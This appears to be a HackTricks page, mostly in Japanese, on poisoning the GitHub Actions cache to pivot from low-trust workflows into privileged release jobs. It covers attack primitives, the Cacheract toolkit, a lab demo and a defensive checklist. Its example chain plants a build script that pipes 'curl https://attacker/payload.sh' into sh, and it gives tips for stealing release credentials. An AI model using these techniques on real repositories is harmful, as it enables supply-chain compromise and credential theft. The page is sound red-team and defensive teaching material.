GH Actions - Cache Poisoning

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

概要

GitHub Actions cache はリポジトリ全体で共有されます。cache key (または restore-keys) を知っている任意の workflow は、そのエントリを作成できます。たとえジョブが permissions: contents: read のみを持っていても。GitHub はキャッシュを workflow、イベントタイプ、あるいは信頼レベルで分離していないため、低権限のジョブを乗っ取った攻撃者が、後で特権を持つリリースジョブが復元するキャッシュを poison することができます。これが、Ultralytics の侵害が pull_request_target ワークフローから PyPI の公開パイプラインへピボットした方法です。

攻撃プリミティブ

  • actions/cache は restore と save の両方の操作を公開している(actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4)。save 呼び出しは、フォークからトリガーされた真に信頼されていない pull_request ワークフローを除き、任意のジョブで許可される。
  • キャッシュエントリは key のみで識別される。広い範囲の restore-keys は、攻撃者が接頭辞で衝突させるだけでよいため、ペイロードを注入しやすくする。
  • キャッシュキーとバージョンはクライアント指定の値であり、キャッシュサービスはキー/バージョンが信頼されたワークフローやキャッシュパスと一致するかを検証しない。
  • キャッシュサーバの URL + runtime token はワークフローに対して長時間有効(歴史的には約6時間、現在は約90分)で、ユーザーが取り消すことはできない。2024年末時点で GitHub は発生元のジョブが完了した後のキャッシュ書き込みをブロックしているため、攻撃者はジョブが実行中に書き込むか、将来のキーを事前に pre-poison する必要がある。
  • キャッシュされたファイルシステムはそのまま復元される。キャッシュに後で実行されるスクリプトやバイナリが含まれていれば、攻撃者がその実行パスを制御する。
  • キャッシュファイル自体は復元時に検証されない;単に zstd 圧縮されたアーカイブなので、poisoned エントリがスクリプト、package.json、あるいは復元パス下の他のファイルを上書きすることが可能である。

Example exploitation chain

Author workflow (pull_request_target) がキャッシュを poisoned した:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

特権付きワークフローが復元され、汚染されたキャッシュを実行した:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

2番目のジョブは、release credentials(PyPI tokens、PATs、cloud deploy keys など)を保持したまま attacker-controlled code を実行します。

Poisoning mechanics

GitHub Actions の cache entries は通常 zstd-compressed tar archives です。ローカルで作成して cache にアップロードできます:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.

実用的な悪用のヒント

  • pull_request_targetissue_comment、またはまだキャッシュを保存するボットコマンドでトリガーされるワークフローを狙ってください。GitHub は、ランナーがリポジトリに対して読み取り権しか持たない場合でも、リポジトリ全体のキーを上書きさせることがあります。
  • 信頼境界を越えて再利用される決定論的なキャッシュキー(例えば pip-${{ hashFiles('poetry.lock') }})や寛容な restore-keys を探し、権限の高いワークフローが実行される前に悪意ある tarball を保存してください。
  • ログの Cache saved エントリを監視するか、自分でキャッシュ保存ステップを追加して、次のリリースジョブがペイロードを復元して trojanized スクリプトやバイナリを実行するようにします。

Angular (2026) チェーンで見られた新しい手法

  • Cache v2 “prefix hit” behavior: Cache v2 では、完全一致がミスでも同じキーのプレフィックスを共有する別のエントリが復元されることがあり(事実上 “all keys are restore keys”)、攻撃者はほぼ衝突するキーを事前に用意しておき、将来のミスが毒されたオブジェクトにフォールバックするようにできます。
  • Forced eviction in one run: 2025年11月20日以降、リポジトリのキャッシュ使用量が上限(デフォルトで 10 GB)を超えると GitHub はエントリを即時に削除します。攻撃者は先にゴミのキャッシュデータをアップロードして同じジョブ内で正当なエントリを追い出し、その後日次のクリーンアップを待たずに悪意あるキャッシュキーを書き込むことができます。
  • setup-node cache pivots via reusable actions: actions/setup-nodecache-dependency-path 付きでラップする再利用可能/内部アクションは、低信頼ワークフローと高信頼ワークフローを静かに橋渡しすることがあります。両方のパスが共有キーにハッシュされると、依存キャッシュの poison により権限の高い自動化(例えば Renovate/bot ジョブ)で実行される可能性があります。
  • Chaining cache poisoning into bot-driven supply chain abuse: Angular のケースでは、キャッシュ poisoning により bot の PAT が露呈し、その PAT を使って承認後に bot 所有の PR ヘッドを force-push できました。承認リセットルールが bot アクターを免除している場合、マージ前にレビューされたコミットを悪意あるもの(例えば imposter action SHAs)に差し替えることが可能になります。

##å Cacheract

Cacheract は、許可されたテストでの GitHub Actions cache poisoning に特化した PoC フォーカスのツールキットです。実用上の価値は、手動でやるとミスしやすい脆弱な部分を自動化する点にあります:

  • ランナーからのランタイムキャッシュコンテキスト(ACTIONS_RUNTIME_TOKEN とキャッシュサービスの URL)を検出して利用する。
  • 下流ワークフローで使用される候補のキャッシュキー/バージョンを列挙してターゲットにする。
  • キャッシュ割当量を溢れさせて強制的にエビクト(該当する場合)し、同じランで攻撃者管理のエントリを書き込む。
  • 後続のワークフローが復元して改変されたツールを実行するように、poisoned なキャッシュコンテンツを仕込む。

これは、Cache v2 環境で特に有用です。タイミングやキー/バージョンの挙動が初期のキャッシュ実装より重要になるためです。

デモ

これは、所有しているリポジトリまたは明示的にテスト許可を得ているリポジトリでのみ使用してください。

1. Vulnerable workflow (untrusted trigger can save cache)

このワークフローは pull_request_target のアンチパターンをシミュレートしています:攻撃者制御のコンテキストからキャッシュコンテンツを書き込み、決定論的なキーの下で保存します。

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. 特権ワークフロー(キャッシュされたバイナリ/スクリプトを復元して実行)

このワークフローは同じキーを復元し、ダミーのシークレットを保持したまま toolchain/bin/build を実行します。キャッシュが汚染されていると、実行経路は攻撃者の制御下に置かれます。

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Run the lab

  • Add a stable toolchain.lock file so both workflows resolve the same cache key.
  • Trigger untrusted-cache-writer from a test PR.
  • Trigger privileged-consumer via workflow_dispatch.
  • Confirm POISONED_BUILD_PATH appears in logs and /tmp/cache-poisoning-demo.txt is created.

4. What this demonstrates technically

  • Cross-workflow cache trust break: writer と consumer の workflows は同じ信頼レベルを共有しないが、cache namespace を共有している。
  • Execution-on-restore risk: 復元されたスクリプト/バイナリを実行する前に整合性検証が行われない。
  • Deterministic key abuse: 高信頼の job が予測可能な keys を使うと、低信頼の job が悪意あるコンテンツを事前配置できる。

5. Defensive verification checklist

  • Split keys by trust boundary (pr-, ci-, release-) and avoid shared prefixes.
  • Disable cache writes in untrusted workflows.
  • Hash/verify restored executable content before running it.
  • Avoid executing tools directly from cache paths.

References

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする